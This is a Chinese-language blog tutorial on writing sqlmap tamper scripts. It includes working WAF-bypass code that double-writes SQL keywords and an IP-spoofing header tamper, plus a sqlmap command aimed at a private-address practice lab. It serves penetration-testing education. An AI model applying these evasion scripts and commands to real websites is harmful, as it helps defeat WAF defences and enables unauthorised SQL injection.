sqlmap tamper

发布于 2022-03-24  86 次阅读


sqlmap tamper

简单介绍

sqlmap的--tamper参数可以引入用户自定义的脚本来修改注入时的payload,由此可以使用tamper来绕过waf,替换被过滤的关键字等,下面是一个简单的tamper结构

from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW # 当前脚本调用优先等级

def dependencies(): # 声明当前脚本适用/不适用的范围,可以为空。
    pass

def tamper(payload, **kwargs): # 用于篡改Payload、以及请求头的主要函数
    return payload

只需要将代码保存为my.py放入sqlmap\tamper路径下,使用的时候加上参数 --tamper=my就可以使用了

sqlmap中带有很多tamper

image-20220324152711213

简单分析

下面是官方的一个tamper

import random

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def randomIP():
    numbers = []

    while not numbers or numbers[0] in (10, 172, 192):
        numbers = random.sample(xrange(1, 255), 4)

    return '.'.join(str(_) for _ in numbers)

def tamper(payload, **kwargs):
    """
    Append a fake HTTP header 'X-Forwarded-For'
    """

    headers = kwargs.get("headers", {})
    headers["X-Forwarded-For"] = randomIP()
    headers["X-Client-Ip"] = randomIP()
    headers["X-Real-Ip"] = randomIP()
    return payload

分为了import部分、__priority__ 属性、dependencies函数、tamper函数以及用户自定义的函数

import

这一部分可以导入sqlmap的内部库

PRIORITY

PRIORITY是定义tamper的优先级,PRIORITY有以下几个参数:

  • LOWEST = -100
  • LOWER = -50
  • LOW = -10
  • NORMAL = 0
  • HIGH = 10
  • HIGHER = 50
  • HIGHEST = 100

如果使用了多个tamper,sqlmap就会根据每个tamper定义PRIORITY的参数等级来优先使用等级较高的tamper

dependencies

dependencies主要是提示用户,这个tamper支持哪些数据库,具体代码如下:

from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS

__priority__ = PRIORITY.NORMAL

def dependencies():
    singleTimeWarnMessage("这是我的tamper提示")

def tamper(payload, **kwargs):
    return payload

image-20220324153115146

Tamper

tamper这个函数是tamper最重要的函数,要实现的功能,全部写在这个函数里。payload这个参数就是sqlmap的原始注入payload,要实现绕过,一般就是针对这个payload的修改。kwargs是针对http头部的修改,如果bypass,是通过修改http头,就需要用到这个

基于payload

双写绕过
def tamper(payload, **kwargs):  #对select和union进行了双写绕过
    payload = payload.lower()
    payload = payload.replace('select','seleselectct')
    payload = payload.replace('union','ununionion')
    return payload
测试

不加tamper进行测试,使用BP抓包进行查看。使用--tech=U来让sqlmap只测试联合查询注入,--flush-session意思是每次刷新会话,清理上次的缓存

sqlmap -u http://10.5.62.41:8082/Less-1/?id=1 --tech=U --flush-session --proxy=http://127.0.0.1:8081 --random-agent --dbms=mysql

没使用tamper之前观察请求,未进行双写

image-20220324155719947

使用tamper后观察请求,进行了指定的双写绕过

image-20220324155849566

基于http头

使用sqlmap\tamper\xforwardedfor.py的tamper来讲解

def tamper(payload, **kwargs):
    """
    Append a fake HTTP header 'X-Forwarded-For'
    """

    headers = kwargs.get("headers", {})
    headers["X-Forwarded-For"] = randomIP()
    headers["X-Client-Ip"] = randomIP()
    headers["X-Real-Ip"] = randomIP()
    return payload

kwargs中取出headers数组,然后修改了xff值达到随机IP的效果,不再赘述

参考文章:https://y4er.com/post/sqlmap-tamper/

Daniel_WRF
最后更新于 2023-09-22